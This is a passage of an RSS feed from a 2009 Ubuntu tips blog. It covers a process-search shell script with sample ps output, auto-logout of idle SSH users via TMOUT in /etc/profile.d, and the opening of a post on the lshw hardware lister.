&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 3: Give permission to execute&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;chmod ugo+x proc_search.sh&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 4: Run the SCRIPT&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#./proc_search.sh apache&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;This results me like this&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;root      3300  0.0  1.0  36648  9384 ?        Ss   07:03   0:00 /usr/sbin/apache2 -k start &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;www-data  3437  0.0  0.5  36648  5244 ?        S    07:03   0:00 /usr/sbin/apache2 -k start &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;www-data  3438  0.0  0.5  36648  5244 ?        S    07:03   0:00 /usr/sbin/apache2 -k start &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;www-data  3439  0.0  0.5  36648  5244 ?        S    07:03   0:00 /usr/sbin/apache2 -k start &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;www-data  3440  0.0  0.5  36648  5244 ?        S    07:03   0:00 /usr/sbin/apache2 -k start &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;www-data  3441  0.0  0.5  36648  5244 ?        S    07:03   0:00 /usr/sbin/apache2 -k start &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;thecoder  13678  0.0  0.1   3912  1200 pts/0    R+   12:25   0:00 /bin/bash ./proc_search.sh apache &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;You can also search with partial word like &lt;i&gt;fire&lt;/i&gt; or like &lt;i&gt;fox&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); font-style: normal; margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;thecoder   3687  7.2 21.8 345920 195980 ?       Sl   07:04  24:42 /usr/lib/firefox-3.0.14/firefox &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); font-style: normal; margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;thecoder  14275  0.0  0.1   3912  1204 pts/0    R+   12:47   0:00 /bin/bash ./process_search.sh fox&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="font-style: normal; margin-bottom: 0cm; page-break-before: auto;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Above was the result for the search for &lt;i&gt;#proc_search fox&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-1165329237702856436?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/1esMjQm6xLERxoFeMGVh4TrRsf4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1esMjQm6xLERxoFeMGVh4TrRsf4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/1esMjQm6xLERxoFeMGVh4TrRsf4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/1esMjQm6xLERxoFeMGVh4TrRsf4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/0lqDpcQbsrA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/0lqDpcQbsrA/shells-search-processes.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/10/shells-search-processes.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-107756043871720544</guid><pubDate>Tue, 29 Sep 2009 11:06:00 +0000</pubDate><atom:updated>2009-10-01T12:54:52.355+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">server</category><category domain="http://www.blogger.com/atom/ns#">unix commands</category><category domain="http://www.blogger.com/atom/ns#">shell</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>Shells: AUTO LOGOFF of idle users</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;I set up an Ubuntu 9.04 Server fordevelopment purpose and made it online through dyndns [&lt;a href="http://ubutrix.blogspot.com/2009/09/put-your-localhost-into-internet.html" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;more info&lt;/span&gt;&lt;/a&gt;], It can access by anyone of our team. We got some accessing problem because all our developers logged in through ssh without any need. So there are many users logged in and stay idle. &lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;What we need to increase the efficiency is to force all idle users out. Here  how I do this:&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; margin-left: 0.2cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: grey;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: xx-small;"&gt;&lt;i&gt;THIS IS BASED ON UBUNTU SERVER EDITION 9.04&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;At first you have to open Terminal from: &lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;Applications-&amp;gt;Accessories-&amp;gt;Terminal&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="center" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 01: Got to /etc/profile.d/&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#cd /etc/profile.d/&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 02: Open any create an empty file named logout.sh and open it using Text Editor.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#touch logout.sh&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#nano logout.sh&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 03: Type the following in Text Editor&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;TMOUT=600&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;IMPORTANT: DO NOT ADD ANY SPACE IN BETWEEN CODE. &lt;/b&gt;&lt;/span&gt; &lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;600 = 10 Minutes(600 Seconds)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Save &amp;amp; Exit the text editor&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 04: Make shell script executable.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;#chmod ugo+x logout.sh&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Thats all.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="font-weight: normal; margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span lang="en-US"&gt;&lt;span style="font-weight: normal;"&gt;chmod is used for change mode, &lt;/span&gt;&lt;/span&gt;it can change file system modes of files and directories.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt; Wikipedia Page [&lt;a href="http://en.wikipedia.org/wiki/Chmod" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;link&lt;/span&gt;&lt;/a&gt;] and MANual [&lt;a href="http://ss64.com/bash/chmod.html" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;link&lt;/span&gt;&lt;/a&gt;] for &lt;b&gt;chmod&lt;/b&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Now on all users who took more than 10 minutes idle, put out of the shell automatically.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: Tahoma,sans-serif;"&gt;Try login to your server, after doing this and stay idle for 10 minutes&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Tahoma,sans-serif;"&gt; &lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Tahoma,sans-serif;"&gt;You will get a message like this :&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;span style="background-color: #eeeeee; color: blue;"&gt;timed out waiting for input: auto-logout&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="background-color: #eeeeee; color: blue;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="background-color: #eeeeee; color: blue;"&gt;&lt;span style="background-color: white; color: black; font-size: small;"&gt;and will logout from server automatically.&lt;/span&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="background-color: #eeeeee; color: blue;"&gt;&lt;span style="background-color: white;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-107756043871720544?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/csLnKjbjXoCLj7C7Y_NcjOc6NQA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/csLnKjbjXoCLj7C7Y_NcjOc6NQA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/csLnKjbjXoCLj7C7Y_NcjOc6NQA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/csLnKjbjXoCLj7C7Y_NcjOc6NQA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/AQQe571Tpc0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/AQQe571Tpc0/shells-auto-logoff-of-idle-users.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/shells-auto-logoff-of-idle-users.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-5733968843268467720</guid><pubDate>Mon, 28 Sep 2009 12:08:00 +0000</pubDate><atom:updated>2009-09-29T16:39:35.372+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">hardware lister</category><category domain="http://www.blogger.com/atom/ns#">lshw</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>how to know hardware details of your system</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_K8Up6_JRdZk/SsCmvGvbx9I/AAAAAAAAAys/VnIdWUmjtqg/s1600-h/system-details.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="248" src="http://2.bp.blogspot.com/_K8Up6_JRdZk/SsCmvGvbx9I/AAAAAAAAAys/VnIdWUmjtqg/s320/system-details.png" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Do you want to know the complete details of your Ubuntu/Debian flavor system details ?&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;We can generate it using lshw [el-es-ech-w] stands for  &lt;b&gt;H&lt;/b&gt;ard&lt;b&gt;w&lt;/b&gt;are &lt;b&gt;L&lt;/b&gt;i&lt;b&gt;s&lt;/b&gt;ter.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;lshw (&lt;b&gt;H&lt;/b&gt;ard&lt;b&gt;w&lt;/b&gt;are &lt;b&gt;L&lt;/b&gt;i&lt;b&gt;s&lt;/b&gt;ter) is a small tool to provide detailed information on the hardware configuration of the machine. It can report exact memory configuration, firmware version, mainboard configuration, CPU version and speed, cache configuration, bus speed, etc. on DMI-capable x86 or EFI (IA-64) systems and on some PowerPC machines.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;You can see the man page for lshw here[&lt;a href="http://linux.die.net/man/1/lshw" target="_blank"&gt;&lt;span style="font-size: x-small;"&gt;link&lt;/span&gt;&lt;/a&gt;].&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
